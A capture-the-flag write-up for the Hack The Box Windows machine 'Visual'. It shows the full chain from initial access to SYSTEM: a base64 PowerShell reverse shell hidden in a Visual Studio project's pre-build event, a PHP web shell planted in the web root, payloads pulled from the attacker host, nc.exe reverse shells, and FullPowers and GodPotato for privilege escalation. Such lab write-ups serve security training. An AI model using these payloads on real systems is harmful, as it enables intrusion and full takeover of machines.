Hack The Box - Visual

August 03, 2024

Visual

Visual is a Windows machine hosting a website that compiles Visual Studio projects from a remote Git repository. Command execution on the box can be achieved by specifying a pre-build event within the project, this can be leveraged to obtain a shell as the user enox. Enumeration of the machine can lead to the discovery that the current user has write permission in c:\xampp\htdocs, allowing for a PHP web shell to be written into the web root. This can then be used to obtain a shell as local service. The service account is running with limited privileges, but any of the privileges that have been restricted for this account can be recovered using the FullPowers tool, most notably SeImpersonate. With this privilege, a potato attack can be used to obtain a system shell.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 07:01 EDT
Nmap scan report for 10.10.11.234
Host is up (0.040s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.57 seconds

The only open port was 80, the webpage compiles Visual Studio projects from a remote Git repo with support for projects written in .NET 6.0 and C#:

visual webpage

I started a python web server and tested the form:

visual webpage form test

Submitting the form showed the following:

visual webpage build status

The request from the server attempted to access Git repository information at the expected location for Git metadata (/info/refs), and then tried to perform the Git operation git-upload-pack. Since the python web server was not set up to serve a Git repository, it returned a 404 error:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.234 - - [31/Jul/2024 07:19:22] code 404, message File not found
10.10.11.234 - - [31/Jul/2024 07:19:22] "GET /test/info/refs?service=git-upload-pack HTTP/1.1" 404 -

The following error message was shown on the Visual webpage:

visual webpage error message

So based on the above, it seemed as though I needed to host a Git repository for the server to successfully fetch the project files. But first, I needed to create a valid project that included a solution (.sln) file.

To make the project from a Linux machine, I started a Docker container with the .NET SDK 6.0 image and created a new project with dotnet new console:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ sudo docker run --rm -it -v `pwd`:/TestProject mcr.microsoft.com/dotnet/sdk:6.0 bash
root@bc9c5e2ff2ad:/# ls
TestProject  boot  etc   lib    media  opt   root  sbin  sys  usr
bin          dev   home  lib64  mnt    proc  run   srv   tmp  var
root@bc9c5e2ff2ad:/# cd TestProject
root@bc9c5e2ff2ad:/TestProject# dotnet new console
The template "Console App" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /TestProject/TestProject.csproj...
  Determining projects to restore...
  Restored /TestProject/TestProject.csproj (in 111 ms).
Restore succeeded.


root@bc9c5e2ff2ad:/TestProject# ls
Program.cs  TestProject.csproj  obj

Then, I created a solution file with dotnet new sln:

root@bc9c5e2ff2ad:/TestProject# dotnet new sln
The template "Solution File" was created successfully.

root@bc9c5e2ff2ad:/TestProject# cat TestProject.sln 

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Global
        GlobalSection(SolutionConfigurationPlatforms) = preSolution
                Debug|Any CPU = Debug|Any CPU
                Release|Any CPU = Release|Any CPU
        EndGlobalSection
        GlobalSection(SolutionProperties) = preSolution
                HideSolutionNode = FALSE
        EndGlobalSection
EndGlobal

I added TestProject.csproj to TestProject.sln with dotnet sln TestProject.sln add TestProject.csproj:

root@bc9c5e2ff2ad:/TestProject# dotnet sln TestProject.sln add TestProject.csproj 
Project `TestProject.csproj` added to the solution.
root@bc9c5e2ff2ad:/TestProject# cat TestProject.sln 

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestProject", "TestProject.csproj", "{F2A51054-6A93-4654-99AF-5F8D97D38E6C}"
EndProject
Global
        GlobalSection(SolutionConfigurationPlatforms) = preSolution
                Debug|Any CPU = Debug|Any CPU
                Release|Any CPU = Release|Any CPU
        EndGlobalSection
        GlobalSection(SolutionProperties) = preSolution
                HideSolutionNode = FALSE
        EndGlobalSection
        GlobalSection(ProjectConfigurationPlatforms) = postSolution
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Debug|Any CPU.Build.0 = Debug|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Release|Any CPU.ActiveCfg = Release|Any CPU
                {F2A51054-6A93-4654-99AF-5F8D97D38E6C}.Release|Any CPU.Build.0 = Release|Any CPU
        EndGlobalSection
EndGlobal

I built the project with dotnet build and ran it with dotnet run:

root@bc9c5e2ff2ad:/TestProject# dotnet build
MSBuild version 17.3.4+a400405ba for .NET
  Determining projects to restore...
  All projects are up-to-date for restore.
  TestProject -> /TestProject/bin/Debug/net6.0/TestProject.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:05.22
root@bc9c5e2ff2ad:/TestProject# dotnet run
Hello, World!

Next, to host the project in a Git repository, I used Docker to start an instance of Gitea by doing the following:

Pulled the Gitea image:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ sudo docker pull gitea/gitea:latest
latest: Pulling from gitea/gitea
ec99f8b99825: Pull complete 
a6f93238fbf9: Pull complete 
7ba71f787c2a: Pull complete 
7f63cdf32c7d: Pull complete 
823f22cebab2: Pull complete 
2aebd935eab5: Pull complete 
09506ba9f9c2: Pull complete 
Digest: sha256:1b9dcae47e821b8dd75c1e48d13677c428624d02e683badb461e4947300e7d19
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest

Started the instance and forwarded local port 3000 to 3000 on the container:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ sudo docker run -p 3000:3000 gitea/gitea
Generating /data/ssh/ssh_host_ed25519_key...
Generating /data/ssh/ssh_host_rsa_key...
Generating /data/ssh/ssh_host_ecdsa_key...
Server listening on :: port 22.
Server listening on 0.0.0.0 port 22.
2024/07/31 11:41:04 cmd/web.go:242:runWeb() [I] Starting Gitea on PID: 17
2024/07/31 11:41:04 cmd/web.go:111:showWebStartupMessage() [I] Gitea version: 1.22.1 built with GNU Make 4.4.1, go1.22.5 : bindata, timetzdata, sqlite, sqlite_unlock_notify
2024/07/31 11:41:04 cmd/web.go:112:showWebStartupMessage() [I] * RunMode: prod
2024/07/31 11:41:04 cmd/web.go:113:showWebStartupMessage() [I] * AppPath: /usr/local/bin/gitea
2024/07/31 11:41:04 cmd/web.go:114:showWebStartupMessage() [I] * WorkPath: /data/gitea
2024/07/31 11:41:04 cmd/web.go:115:showWebStartupMessage() [I] * CustomPath: /data/gitea
2024/07/31 11:41:04 cmd/web.go:116:showWebStartupMessage() [I] * ConfigFile: /data/gitea/conf/app.ini
2024/07/31 11:41:04 cmd/web.go:117:showWebStartupMessage() [I] Prepare to run install page
2024/07/31 11:41:04 cmd/web.go:304:listen() [I] Listen: http://0.0.0.0:3000
2024/07/31 11:41:04 cmd/web.go:308:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
2024/07/31 11:41:04 ...s/graceful/server.go:50:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17

I visited the Gitea instance at http://127.0.0.1:3000 which brought up the initial configuration. I clicked Install Gitea at the bottom and registered a new user, then I added a new repository:

gitea new repo

Next, within the project folder for the Hello, World! console app, I initialized a Git repo and pushed the code to Gitea:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git init               
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:   git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint:   git branch -m <name>
Initialized empty Git repository in /home/kali/Desktop/HTB/Visual/TestProject/.git/

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git checkout -b main
Switched to a new branch 'main'
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git add .           
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git commit -m "initial commit"
[main (root-commit) e80ab55] initial commit
 28 files changed, 280 insertions(+)
 create mode 100644 Program.cs
 create mode 100644 TestProject.csproj
 create mode 100644 TestProject.sln
 create mode 100755 bin/Debug/net6.0/TestProject
 create mode 100644 bin/Debug/net6.0/TestProject.deps.json
 create mode 100644 bin/Debug/net6.0/TestProject.dll
 create mode 100644 bin/Debug/net6.0/TestProject.pdb
 create mode 100644 bin/Debug/net6.0/TestProject.runtimeconfig.json
 create mode 100644 obj/Debug/net6.0/.NETCoreApp,Version=v6.0.AssemblyAttributes.cs
 create mode 100644 obj/Debug/net6.0/TestProject.AssemblyInfo.cs
 create mode 100644 obj/Debug/net6.0/TestProject.AssemblyInfoInputs.cache
 create mode 100644 obj/Debug/net6.0/TestProject.GeneratedMSBuildEditorConfig.editorconfig
 create mode 100644 obj/Debug/net6.0/TestProject.GlobalUsings.g.cs
 create mode 100644 obj/Debug/net6.0/TestProject.assets.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.AssemblyReference.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.CoreCompileInputs.cache
 create mode 100644 obj/Debug/net6.0/TestProject.csproj.FileListAbsolute.txt
 create mode 100644 obj/Debug/net6.0/TestProject.dll
 create mode 100644 obj/Debug/net6.0/TestProject.genruntimeconfig.cache
 create mode 100644 obj/Debug/net6.0/TestProject.pdb
 create mode 100755 obj/Debug/net6.0/apphost
 create mode 100644 obj/Debug/net6.0/ref/TestProject.dll
 create mode 100644 obj/Debug/net6.0/refint/TestProject.dll
 create mode 100644 obj/TestProject.csproj.nuget.dgspec.json
 create mode 100644 obj/TestProject.csproj.nuget.g.props
 create mode 100644 obj/TestProject.csproj.nuget.g.targets
 create mode 100644 obj/project.assets.json
 create mode 100644 obj/project.nuget.cache
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git remote add origin http://127.0.0.1:3000/test/TestProject.git
                                                                                         
┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git push -u origin main
Username for 'http://127.0.0.1:3000': test
Password for 'http://test@127.0.0.1:3000': 
Enumerating objects: 33, done.
Counting objects: 100% (33/33), done.
Delta compression using up to 4 threads
Compressing objects: 100% (26/26), done.
Writing objects: 100% (33/33), 70.64 KiB | 5.04 MiB/s, done.
Total 33 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/test/TestProject.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

The project could then be viewed in Gitea:

gitea TestProject

I went back to Visual and submitted the repo URL:

visual webpage form git repo

The build succeeded:

visual build succeeded

The build process of a Visual Studio project can be leveraged to get command execution on the target machine due to the option to specify build events which are used to run commands before the build starts or after the build finishes.

For example, going back to the project files in the docker container, this was the default TestProject.csproj after running dotnet new console:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

</Project>

Running dotnet build showed the following:

dotnet build

A pre-build event can be added using the <PreBuildEvent> tag within the .csproj file that will run commands or scripts before the build starts. So I edited TestProject.csproj and added the <PreBuildEvent> tag with the whoami command:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>whoami</PreBuildEvent>
  </PropertyGroup>

</Project>

When I built the project again, the whoami command ran before the build started:

dotnet build with pre-build event

To get a shell on Visual, I edited the <PreBuildEvent> tag in TestProject.csproj to contain the PowerShell #3 (Base64) reverse shell payload from revshells:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=</PreBuildEvent>
  </PropertyGroup>

</Project>

I added and committed the changes, then pushed the updated code to Gitea:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git add . 

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git commit -m "adding pre-build event to csproj"
[main 185e8b2] adding pre-build event to csproj
 1 file changed, 1 insertion(+)

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git push -u origin main
Username for 'http://127.0.0.1:3000': test
Password for 'http://test@127.0.0.1:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 1018 bytes | 1018.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/test/TestProject.git
   e80ab55..185e8b2  main -> main
branch 'main' set up to track 'origin/main'.

I started a listener with nc and submitted the repo again to Visual. Soon after that, nc caught a shell as enox:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49675

PS C:\xampp\htdocs\uploads\2cc55e6d3f5ffc99c6df152cbb9d4f> whoami
visual\enox
PS C:\xampp\htdocs\uploads\2cc55e6d3f5ffc99c6df152cbb9d4f> cd /users/enox/desktop
PS C:\users\enox\desktop> ls


    Directory: C:\users\enox\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/31/2024   4:14 AM             34 user.txt

While enumerating the machine, I found that enox had write permission in the web root:

PS C:\xampp\htdocs> icacls c:\xampp\htdocs
c:\xampp\htdocs Everyone:(OI)(CI)(F)
                Everyone:(I)(OI)(CI)(F)
                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                BUILTIN\Administrators:(I)(OI)(CI)(F)
                BUILTIN\Users:(I)(OI)(CI)(RX)
                BUILTIN\Users:(I)(CI)(AD)
                BUILTIN\Users:(I)(CI)(WD)
                CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

So I downloaded the following PHP web shell to see if the web server was running as another user:

<?php system($_REQUEST[0]); ?>
PS C:\xampp\htdocs> wget 10.10.14.54:8000/shell.php -o shell.php
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css   
d-----        6/10/2023  10:32 AM                js    
d-----        7/31/2024   5:21 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        7/31/2024   5:25 AM             31 shell.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php

The web server was running as nt authority\local service:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ curl http://10.10.11.234/shell.php?0=whoami
nt authority\local service

To get a reverse shell as nt authority\local service, I downloaded nc.exe:

PS C:\xampp\htdocs> wget 10.10.14.54:8000/nc.exe -o nc.exe
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css
d-----        6/10/2023  10:32 AM                js    
d-----        7/31/2024   5:21 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        7/31/2024   5:29 AM          59392 nc.exe
-a----        7/31/2024   5:25 AM             31 shell.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php

I started a listener and sent the shell:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ curl http://10.10.11.234/shell.php?0=nc.exe%2010.10.14.54%20443%20-e%20cmd

nc caught a shell as local service:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443                             
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49678
Microsoft Windows [Version 10.0.17763.4840]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
whoami
nt authority\local service

The local service account typically has a default set of privileges, such as SeChangeNotify, SeImpersonate, SeCreateGlobal, and others. In this instance, the account was configured to run with a restricted set of privileges:

C:\xampp\htdocs>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The FullPowers tool can be used to restore default privileges for a service account, such as SeImpersonate.

In C:\programdata, I downloaded FullPowers.exe:

PS C:\programdata> wget 10.10.14.54:8000/FullPowers.exe -o FullPowers.exe
wget 10.10.14.54:8000/FullPowers.exe -o FullPowers.exe
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:56 AM                chocolatey
d-----        6/10/2023  10:56 AM                ChocolateyHttpCache
d---s-        6/10/2023  10:40 AM                Microsoft
d-----        6/10/2023  10:35 AM                Microsoft Visual Studio
d-----        7/31/2024   4:13 AM                Package Cache
d-----        9/19/2023   4:12 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----        6/10/2023  10:09 AM                VMware
-a----        7/31/2024   5:35 AM          36864 FullPowers.exe

After running .\FullPowers.exe, I had several more privileges, including SeImpersonate:

PS C:\programdata> .\FullPowers.exe
.\FullPowers.exe
[+] Started dummy thread with id 3948
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv 
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

SeImpersonate can be leveraged to get a system shell with GodPotato. I used certutil to download GodPotato-NET4.exe in C:\programdata:

PS C:\programdata> certutil -urlcache -split -f "http://10.10.14.54:8000/GodPotato-NET4.exe" GodPotato-NET4.exe
certutil -urlcache -split -f "http://10.10.14.54:8000/GodPotato-NET4.exe" GodPotato-NET4.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:56 AM                chocolatey
d-----        6/10/2023  10:56 AM                ChocolateyHttpCache
d---s-        6/10/2023  10:40 AM                Microsoft
d-----        6/10/2023  10:35 AM                Microsoft Visual Studio
d-----        7/31/2024   4:13 AM                Package Cache
d-----        9/19/2023   4:12 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----        6/10/2023  10:09 AM                VMware
-a----        7/31/2024   5:35 AM          36864 FullPowers.exe
-a----        7/31/2024   5:40 AM          57344 GodPotato-NET4.exe

Then, I started a listener and used GodPotato-NET4.exe to send a shell with nc.exe:

PS C:\programdata> .\GodPotato-NET4.exe -cmd "C:\xampp\htdocs\nc.exe 10.10.14.54 443 -e cmd"
.\GodPotato-NET4.exe -cmd "C:\xampp\htdocs\nc.exe 10.10.14.54 443 -e cmd"
[*] CombaseModule: 0x140703164530688
[*] DispatchTable: 0x140703166836848
[*] UseProtseqFunction: 0x140703166213024
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\e19ea1e7-42ef-4b71-853d-7a4d7cf79df4\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00000802-1394-ffff-bce2-99ce67792573
[*] DCOM obj OXID: 0x7bd8eac39a8987b8
[*] DCOM obj OID: 0xc18bfa90e57fc150
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2356

nc caught a shell as nt authority\system:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443                             
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49686
Microsoft Windows [Version 10.0.17763.4840]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\programdata>whoami
whoami
nt authority\system

C:\programdata>cd /users/administrator/desktop
cd /users/administrator/desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 82EF-5600

 Directory of C:\Users\Administrator\Desktop

09/19/2023  08:20 AM    <DIR>          .
09/19/2023  08:20 AM    <DIR>          ..
07/31/2024  04:14 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   9,662,550,016 bytes free

CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS